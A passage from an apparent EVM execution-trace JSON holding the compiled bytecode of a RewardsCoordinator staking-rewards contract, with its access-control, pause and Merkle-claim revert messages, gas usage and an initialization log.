602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220817e7c73564266312bb51c837933bb59af47a68ee6c566d48ffce124f608594c64736f6c634300081c0033","gas_used":2978924,"gas_limit":3961002,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f0000000000000000000000000000000000000000000000000000000000278d0081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f0000000000000000000000000000000000000000000000000000000065fb788081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000076a70081565b6103e97f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f0000000000000000000000000000000000000000000000000000000000093a8081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f00000000000000000000000000000000000000000000000000000000005c490081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000007a69460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f00000000000000000000000000000000000000000000000000000000005c490016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000076a70063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f0000000000000000000000000000000000000000000000000000000065fb788063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000278d00164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3